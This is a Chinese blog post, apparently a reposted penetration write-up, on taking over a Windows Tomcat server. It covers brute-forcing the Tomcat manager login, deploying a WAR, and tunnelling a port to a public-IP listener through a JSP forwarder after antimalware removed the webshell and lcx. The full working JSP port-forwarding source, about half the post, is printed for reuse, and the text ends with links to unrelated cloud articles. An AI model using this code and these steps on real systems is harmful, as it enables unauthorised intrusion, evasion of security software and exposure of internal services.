通过JSP端口转发拿下服务器权限

简介: 通过JSP端口转发拿下服务器权限

这篇文章是@欧根亲王号师傅19年投稿发在星球的,经他同意转发至公众号,内容比较基础。


记得他当时是在本地模拟的一个实战场景来做的这个测试实验(绕过安全防护进行转发)。


0x01 环境简要

目标主机:Widnows

目标防护软件:Antimalware

目标环境:JSP,Tomcat,Apache


本地主机:Windows、Kali

所需工具:Aapache爆破工具,Lcx,JSP代码,公网IP主机一个


所遇见问题:lcx被杀,webshell被杀


0x02 进攻说明

一、爆破登录口令

爆破Tomcat Web Application Manager,这里不做深入说明,大家都懂的


二、上传webshell

由于服务器上防护软件问题,上传的webshell被杀,lcx工具被杀,这里采取以jsp转发端口的形式来绕过


三、准备jsp页面的war包

使用kali把准备好的jsp页面打包,进入jsp页面目录下执行以下命令打包

    jar -cvf aces.war

    四、通过已有webshell创建用户名密码


    五、通过后台部署war包

    六、设置lcx监听本地端口并转发

    使用lcx监听本地55并转发到3399端口上

    七、访问jsp文件,并设置相关转发参数

      参数说明:
      lip=127.0.0.1lp=需要转发的本地端口
      rip=公网监听IP
      rp=公网IP监听的端口号
      m=转发的模式


      0x03 验证

      成功登录,自此本次实验结束


      0x04 JSP源码

      <%@page pageEncoding="GBK"%>
      <%@page import="java.io.*"%>
      <%@page import="java.util.*"%>
      <%@page import="java.nio.charset.*"%>
      <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
      <%@page import="java.net.*"%>
      <%
      /*code by KingX*/
      class KPortTran {
        public void listen(String port1, String port2) {
          ServerSocket listenServerSocket = null;
          ServerSocket outServerSocket = null;
          try {
            listenServerSocket = new ServerSocket(Integer.parseInt(port1));
            outServerSocket = new ServerSocket(Integer.parseInt(port2));
          } catch (NumberFormatException e) {
          } catch (IOException e) {
          }
          Socket listenSocket = null;
          Socket outSocket = null;
          try {
            while (true) {  
              listenSocket = listenServerSocket.accept();
              outSocket = outServerSocket.accept();
              new tranThread(outSocket, listenSocket).start();
              new tranThread(listenSocket, outSocket).start();
              Thread.sleep(200);
            }
          } catch (Exception e) {  
          }
        }
        public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {
          InetAddress src = InetAddress.getByName(srcIP);
          InetAddress dest = InetAddress.getByName(targetIP);
          int p1 = Integer.parseInt(port1);
          int p2 = Integer.parseInt(port2);
          new Server(src, p2, dest, p1, true);
        }
        public void tran(String srcIP, String port1, String targetIP, String port2)
            throws NumberFormatException, IOException {
          InetAddress src = InetAddress.getByName(srcIP);
          InetAddress dest = InetAddress.getByName(targetIP);
          int p1 = Integer.parseInt(port1);
          int p2 = Integer.parseInt(port2);
          new Server(src, p1, dest, p2, false);
        }
      class tranThread extends Thread {
        Socket in;
        Socket out;
        InputStream is;
        OutputStream os;
        public tranThread(Socket in, Socket out) throws IOException {
          this.is = in.getInputStream();
          this.os = out.getOutputStream();
          this.in = in;
          this.out = out;
        }
        private void closeSocket() {
          try {
            is.close();
            os.close();
            in.close();
            out.close();
          } catch (IOException e) {
          }
        }
        @Override
        public void run() {
          super.run();
          byte[] buffer = new byte[4096];
          int len = -1;
          try {
            while (true) {
              if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {
                break;
              } else {
                os.write(buffer, 0, len);
                os.flush();  
              }
            }
          } catch (IOException e) {
            closeSocket();
          } finally {
            closeSocket();
          }
        }
      }
      class Server extends Thread {
        InetAddress src;
        InetAddress dest;
        int p1, p2;
        boolean reverse = false;
        public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,
            int targetPort, boolean flag) {
          this.src = srcIP;
          this.dest = targetIP;
          this.p1 = srcPort;
          this.p2 = targetPort;
          this.reverse = flag;
          start();
        }
        @Override
        public void run() {
          super.run();
          if (reverse) {
            try {
              Socket s = new Socket(src, p1);
              Socket s2 = new Socket(dest, p2);
              new tranThread(s, s2).start();
              new tranThread(s2, s).start();
              while (true) {
                if (s2.isClosed() || s.isClosed()) {
                  if (s2.isClosed()) {
                    s2 = new Socket(dest, p2);
                  }
                  if (s.isClosed()) {
                    s = new Socket(src, p1);
                  }
                  new tranThread(s, s2).start();
                  new tranThread(s2, s).start();
                }
                Thread.sleep(1000);
              }
            } catch (IOException e) {
            } catch (InterruptedException e) {
            }
          } else {
            ServerSocket ss;
            try {
              ss = new ServerSocket(p1, 5, src);
              while (true) {
                Socket s = ss.accept();
                Socket s2 = new Socket(dest, p2);
                new tranThread(s, s2).start();
                new tranThread(s2, s).start();
              }
            } catch (IOException e) {
              e.printStackTrace();
            }
          }
        }
      }
      }
      %>
      <%
      final String localIP = request.getParameter("lip");
      final String localPort = request.getParameter("lp");
      final String localPort2 = request.getParameter("lp2");
      final String remoteIP =request.getParameter("rip");
      final String remotePort =request.getParameter("rp");
      final String mode =request.getParameter("m");
      KPortTran pt = new KPortTran();
      if (mode.equals("tran")) {
        pt.tran(localIP, localPort, remoteIP , remotePort);
      }
      if (mode.equals("slave")) {
        pt.slave(localIP, localPort, remoteIP , remotePort);
      }
      if (mode.equals("listen")) {
        pt.listen(localPort, localPort2);
      }
      %>
      相关文章
      |
      4月前
      |
      弹性计算 应用服务中间件 Linux
      阿里云服务器开放端口完整图文教程
      笔者近期开发完成的服务端程序部署在阿里云的ECS云服务器上面,一些应用程序配置文件需要设置监听的端口(如Tomcat的8080、443端口等),虽然通过CentOs 7系统的的「防火墙」开放了对应的端口号,任然无法访问端口号对应的应用程序,后面了解到原来还需要设置云服务器的「安全组规则」,开放相应的端口权限,服务端的接口才能真正开放。
      689 1
      阿里云服务器开放端口完整图文教程
      |
      3月前
      |
      缓存 安全 Java
      Java服务器端技术:Servlet与JSP的集成与扩展
      Java服务器端技术:Servlet与JSP的集成与扩展
      33 3
      |
      4月前
      |
      弹性计算 运维 数据安全/隐私保护
      云服务器 ECS产品使用问题之如何更改服务器的IP地址或端口号
      云服务器ECS(Elastic Compute Service)是各大云服务商阿里云提供的一种基础云计算服务,它允许用户租用云端计算资源来部署和运行各种应用程序。以下是一个关于如何使用ECS产品的综合指南。
      |
      3月前
      |
      前端开发 安全 Java
      在Java服务器端开发的浩瀚宇宙中,Servlet与JSP犹如两颗璀璨的明星,它们联袂登场,共同编织出动态网站的绚丽篇章。
      在Java服务器端开发的浩瀚宇宙中,Servlet与JSP犹如两颗璀璨的明星,它们联袂登场,共同编织出动态网站的绚丽篇章。
      28 0
      |
      3月前
      |
      缓存 NoSQL 网络安全
      【Azure Redis 缓存】使用开源工具redis-copy时遇见6379端口无法连接到Redis服务器的问题
      【Azure Redis 缓存】使用开源工具redis-copy时遇见6379端口无法连接到Redis服务器的问题
      |
      4月前
      |
      网络协议 Linux Unix
      面试官:服务器最大可以创建多少个tcp连接以及端口并解释下你对文件句柄的理解
      面试官:服务器最大可以创建多少个tcp连接以及端口并解释下你对文件句柄的理解
      123 0
      面试官:服务器最大可以创建多少个tcp连接以及端口并解释下你对文件句柄的理解
      |
      3月前
      |
      网络协议
      【qt】TCP的监听 (设置服务器IP地址和端口号)
      【qt】TCP的监听 (设置服务器IP地址和端口号)
      207 0
      若依修改,若依部署在本地运行时的注意事项,后端连接了服务器,本地的vue.config.js要先改成localhost:端口号与后端匹配,部署的时候再改公网IP:端口号
      若依修改,若依部署在本地运行时的注意事项,后端连接了服务器,本地的vue.config.js要先改成localhost:端口号与后端匹配,部署的时候再改公网IP:端口号
      |
      4月前
      |
      网络协议 Linux
      云服务器内部端口占用,9090端口已经存在了,如何关闭,Linux查询端口,查看端口,端口查询,关闭端口写法-netstat -tuln,​fuser -k 3306/tcp​
      云服务器内部端口占用,9090端口已经存在了,如何关闭,Linux查询端口,查看端口,端口查询,关闭端口写法-netstat -tuln,​fuser -k 3306/tcp​
      |
      7天前
      |
      机器学习/深度学习 人工智能 弹性计算
      什么是阿里云GPU云服务器?GPU服务器优势、使用和租赁费用整理
      阿里云GPU云服务器提供强大的GPU算力,适用于深度学习、科学计算、图形可视化和视频处理等多种场景。作为亚太领先的云服务提供商,阿里云的GPU云服务器具备灵活的资源配置、高安全性和易用性,支持多种计费模式,帮助企业高效应对计算密集型任务。